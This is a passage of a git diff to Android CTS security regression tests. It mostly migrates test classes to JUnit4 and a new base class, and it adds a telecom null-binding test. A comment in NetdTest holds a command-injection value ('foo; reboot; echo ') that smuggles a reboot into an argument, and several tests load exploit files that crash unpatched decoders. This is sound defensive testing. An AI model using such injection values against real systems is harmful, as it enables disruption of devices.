setDataSourceFd(R.raw.id3v2_3_extended_header_overflow_padding);
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index b4275169539..4b8b178ab71 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -18,16 +18,24 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.io.File;
-public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase {
/**
* b/27855172
*/
+ @Test
@AsbSecurityTest(cveBugId = 27855172)
public void test_cve_2016_2499() throws Exception {
MediaRecorder mediaRecorder = null;
diff --git a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
index 2d2e08453ca..83ce8ff7af4 100644
--- a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
@@ -24,7 +24,7 @@ import android.os.ConditionVariable;
import android.os.Environment;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import com.android.compatibility.common.util.MediaUtils;
@@ -38,7 +38,16 @@ import java.io.RandomAccessFile;
import android.security.cts.R;
-public class MediaServerCrashTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.After;
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaServerCrashTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "MediaServerCrashTest";
private static final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message";
@@ -49,9 +58,8 @@ public class MediaServerCrashTest extends AndroidTestCase {
private final ConditionVariable mOnPrepareCalled = new ConditionVariable();
private final ConditionVariable mOnCompletionCalled = new ConditionVariable();
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mFlFilePath = new File(getContext().getFilesDir(), "temp.fl").getAbsolutePath();
mOnPrepareCalled.close();
@@ -83,12 +91,12 @@ public class MediaServerCrashTest extends AndroidTestCase {
});
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ @After
+ public void tearDown() throws Exception {
new File(mFlFilePath).delete();
}
+ @Test
@AsbSecurityTest(cveBugId = 25070434)
public void testInvalidMidiNullPointerAccess() throws Exception {
testIfMediaServerDied(R.raw.midi_crash);
@@ -115,16 +123,17 @@ public class MediaServerCrashTest extends AndroidTestCase {
}
}
+ @Test
@AsbSecurityTest(cveBugId = 25070434)
public void testDrmManagerClientReset() throws Exception {
checkIfMediaServerDiedForDrm(R.raw.drm_uaf);
}
private void checkIfMediaServerDiedForDrm(int res) throws Exception {
- AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(res);
+ AssetFileDescriptor afd = getInstrumentation().getContext().getResources().openRawResourceFd(res);
FileInputStream dmStream = afd.createInputStream();
RandomAccessFile flFile = new RandomAccessFile(mFlFilePath, "rw");
- if (!MediaUtils.convertDmToFl(mContext, dmStream, flFile)) {
+ if (!MediaUtils.convertDmToFl(getInstrumentation().getContext(), dmStream, flFile)) {
Log.w(TAG, "Can not convert dm to fl, skip checkIfMediaServerDiedForDrm");
mMediaPlayer.release();
return;
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 2ce16101b02..3ab3bb2cbf8 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -16,6 +16,8 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -24,13 +26,20 @@ import android.graphics.Paint;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class Movie33897722 extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class Movie33897722 extends StsExtraBusinessLogicTestCase {
/**
* Verifies that decoding a particular GIF file does not read out out of bounds.
*
@@ -39,6 +48,7 @@ public class Movie33897722 extends AndroidTestCase {
* color map, which would be reading memory that we do not control, and may be uninitialized.
*/
@AsbSecurityTest(cveBugId = 33897722)
+ @Test
public void test_android_bug_33897722() {
// The image has a 10 x 10 frame on top of a transparent background. Only test the
// 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +57,7 @@ public class Movie33897722 extends AndroidTestCase {
}
@AsbSecurityTest(cveBugId = 37662286)
+ @Test
public void test_android_bug_37662286() {
// The image has a background color that is out of range. Arbitrarily test
// the upper left corner. (Most of the image is transparent.)
@@ -62,7 +73,7 @@ public class Movie33897722 extends AndroidTestCase {
int drawWidth, int drawHeight) {
assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
Movie movie = Movie.decodeStream(exploitImage);
assertNotNull(movie);
assertEquals(movie.width(), screenWidth);
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
index 4f5754cfbb7..135d4935a55 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -16,7 +16,6 @@
package android.security.cts;
-import android.test.AndroidTestCase;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
@@ -49,12 +48,23 @@ import android.os.SystemClock;
import android.util.Log;
import android.annotation.Nullable;
import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import static java.lang.Thread.sleep;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
@AppModeFull
-public class NanoAppBundleTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase {
+ private Context mContext;
private static final String TAG = "NanoAppBundleTest";
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -72,27 +82,27 @@ public class NanoAppBundleTest extends AndroidTestCase {
}
};
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = getInstrumentation().getContext();
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.startService(serviceIntent);
mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (mContext != null) {
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.stopService(serviceIntent);
}
- super.tearDown();
}
/**
* b/113527124
*/
@AsbSecurityTest(cveBugId = 77599679)
+ @Test
public void testPoc_cve_2018_9471() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index c5a9bac2504..53c05c0e53e 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -18,15 +18,22 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
-public class NativeCodeTest extends TestCase {
+import static org.junit.Assert.*;
+
+@RunWith(AndroidJUnit4.class)
+public class NativeCodeTest extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
@AsbSecurityTest(cveBugId = 22300191)
+ @Test
public void testSysVipc() throws Exception {
assertTrue("Android does not support Sys V IPC, it must "
+ "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 14623fd4085..463d443dc82 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -20,13 +20,17 @@ import android.os.Binder;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.lang.Class;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-public class NetdTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetdTest extends StsExtraBusinessLogicTestCase {
/**
* Detect if netd has unsanitized system call in Throttle API.
@@ -34,6 +38,7 @@ public class NetdTest extends TestCase {
* serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
*/
@AsbSecurityTest(cveBugId = 5758556)
+ @Test
public void testThrottleSanitization() {
try {
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index f810817c650..f68c097686d 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -16,20 +16,27 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.SurfaceTexture;
import android.hardware.camera2.params.OutputConfiguration;
import android.os.Parcel;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.util.Size;
import android.view.Surface;
import android.view.TextureView;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
/**
* Verify that OutputConfiguration's fields propagate through parcel properly.
*/
-public class OutputConfigurationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 69683251)
+ @Test
public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index 5b4e5301be7..d2d70d85e59 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -16,7 +16,8 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
@@ -26,13 +27,21 @@ import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.lang.reflect.Field;
-public class ParcelableExceptionTest extends AndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 65281159)
+ @Test
public void test_CVE_2017_0871() throws Exception {
String filePath = "/data/system/" + System.currentTimeMillis();
File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 2bf7a85e063..4667859957e 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -17,10 +17,18 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Method;
-public class PutOverflowTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest extends StsExtraBusinessLogicTestCase {
+ @Test
@AsbSecurityTest(cveBugId = 22802399)
public void testCrash() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 8405acc0265..293200e5541 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -19,11 +19,17 @@ package android.security.cts;
import android.app.ActivityManager;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.util.List;
-public class RunningAppProcessInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
/*
* This test verifies severity vulnerability: apps can bypass the L restrictions in
* getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
@@ -31,9 +37,10 @@ public class RunningAppProcessInfoTest extends AndroidTestCase {
*/
@AsbSecurityTest(cveBugId = 20034603)
+ @Test
public void testRunningAppProcessInfo() {
ActivityManager amActivityManager =
- (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> appList =
amActivityManager.getRunningAppProcesses();
// The test will pass if it is able to get only its process info
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index a3a14d40a41..84d36fa0a7a 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -28,14 +28,21 @@ import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.platform.test.annotations.AsbSecurityTest;
import android.provider.VoicemailContract;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileInputStream;
-public class SQLiteTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class SQLiteTest extends StsExtraBusinessLogicTestCase {
private static final String DATABASE_FILE_NAME = "database_test.db";
private ContentResolver mResolver;
@@ -44,9 +51,8 @@ public class SQLiteTest extends AndroidTestCase {
private SQLiteDatabase mDatabase;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mResolver = getContext().getContentResolver();
mContext = InstrumentationRegistry.getTargetContext();
mPackageName = mContext.getPackageName();
@@ -62,6 +68,7 @@ public class SQLiteTest extends AndroidTestCase {
* b/139186193
*/
@AsbSecurityTest(cveBugId = 139186193)
+ @Test
public void test_android_cve_2019_2195() {
Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,6 +106,7 @@ public class SQLiteTest extends AndroidTestCase {
* b/153352319
*/
@AsbSecurityTest(cveBugId = 153352319)
+ @Test
public void test_android_float_to_text_conversion_overflow() {
String create_cmd = "select (printf('%.2147483647G',0.01));";
try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index 7e6fb7c87e3..2765de4ac52 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -15,33 +15,35 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
-public class STKFrameworkTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class STKFrameworkTest extends StsExtraBusinessLogicTestCase {
private boolean mHasTelephony;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mHasTelephony = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_TELEPHONY);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- }
-
/*
* Verifies commands Intercepting which has been sent from SIM card to Telephony using
* zero-permission malicious application
*/
@AsbSecurityTest(cveBugId = 21697171)
+ @Test
public void testInterceptedSIMCommandsToTelephony() {
if (!mHasTelephony) {
return;
@@ -54,7 +56,7 @@ public class STKFrameworkTest extends AndroidTestCase {
ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
intent.setComponent(cn);
try {
- mContext.sendBroadcast(intent);
+ getInstrumentation().getContext().sendBroadcast(intent);
fail("Able to send broadcast which can be received by any app which has registered " +
"broadcast for action 'com.android.internal.stk.command' since it is not " +
"protected with any permission. Device is vulnerable to CVE-2015-3843.");
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 4a9802fc307..de6a9ac2707 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -19,26 +19,33 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.io.InputStream;
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 73782357)
+ @Test
public void testAndroid_cve_2017_13318() {
doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
}
@AsbSecurityTest(cveBugId = 17262540)
+ @Test
public void test_android_bug_17262540() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
}
@AsbSecurityTest(cveBugId = 17265466)
+ @Test
public void test_android_bug_17265466() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
}
@@ -47,7 +54,7 @@ public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
* Verifies that the device prevents recursive decoding of malformed ICO files
*/
public void doSkiaIcoRecursiveDecodingTest(int resId) {
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
* while decoding the exploit image which will lead to process crash
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index ddecbc824c2..b6c2737587b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
*/
package android.security.cts;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.app.Instrumentation;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@ import static org.junit.Assert.*;
*/
@AppModeFull
@RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
static final String TAG = "StagefrightTest";
- private Instrumentation mInstrumentation;
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
private final static long CHECK_INTERVAL = 50;
@Rule public TestName name = new TestName();
- @Before
- public void setup() {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- }
-
class CodecConfig {
boolean isAudio;
/* Video Parameters - valid only when isAudio is false */
@@ -3264,8 +3259,4 @@ public class StagefrightTest {
assertFalse(hung);
}
-
- private Instrumentation getInstrumentation() {
- return mInstrumentation;
- }
}
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 3be7534774a..945d1190f20 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -22,22 +22,25 @@ import android.platform.test.annotations.AsbSecurityTest;
import android.media.audiofx.AudioEffect;
import android.media.MediaPlayer;
import android.media.audiofx.Visualizer;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.UUID;
+import static org.junit.Assert.*;
-public class VisualizerEffectTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase {
private String TAG = "VisualizerEffectTest";
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
//Testing security bug: 30229821
+ @Test
@AsbSecurityTest(cveBugId = 30229821)
public void testVisualizer_MalformedConstructor() throws Exception {
final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
@@ -80,4 +83,4 @@ public class VisualizerEffectTest extends AndroidTestCase {
Log.w(TAG,"No visualizer found to test");
}
}
-} \ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5cc4fe5e183..af28a547ce8 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -19,22 +19,30 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class ZeroHeightTiffTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a zero height tiff file.
*
* Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
* With the fix, decoding will fail, without dividing by zero.
*/
+ @Test
@AsbSecurityTest(cveBugId = 33300701)
public void test_android_bug_33300701() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 96a07b36904..1b1d48ea3a1 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -79,6 +79,14 @@
</intent-filter>
</service>
+ <service android:name="android.telecom.cts.NullBindingConnectionService"
+ android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telecom.ConnectionService"/>
+ </intent-filter>
+ </service>
+
<service android:name="android.telecom.cts.MockInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:exported="true">
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
new file mode 100644
index 00000000000..1debb7a6d4b
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService}
+ * tries to return a null binding.
+ */
+public class NullBindingConnectionService extends Service {
+ public static CountDownLatch sBindLatch = new CountDownLatch(1);
+ public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+ public NullBindingConnectionService() {
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ sBindLatch.countDown();
+ sUnbindLatch = new CountDownLatch(1);
+ return null;
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ sUnbindLatch.countDown();
+ sBindLatch = new CountDownLatch(1);
+ return false;
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
new file mode 100644
index 00000000000..611eeaba66e
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically
+ * unbound.
+ */
+
+public class NullBindingTest extends BaseTelecomTestWithMockServices {
+ private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE =
+ new PhoneAccountHandle(new ComponentName("android.telecom.cts",
+ "android.telecom.cts.NullBindingConnectionService"),
+ "1");
+
+ public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder(
+ TEST_NULL_BINDING_HANDLE, "Null")
+ .setAddress(Uri.parse("sip:test@test.com"))
+ .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+ .build();
+
+ private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContext = getInstrumentation().getContext();
+ if (mShouldTestTelecom) {
+ mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (mShouldTestTelecom) {
+ mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE);
+ }
+ }
+
+ /**
+ * Ensures that when we bind to a ConnectionService which returns a null binding that the
+ * ConnectionService is unbound automatically.
+ */
+ public void testNullBinding() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ // Place a call using the null binding connection service.
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE);
+ mTelecomManager.placeCall(TEST_ADDRESS_1, extras);
+
+ // Ensure it bound and then unbound.
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch));
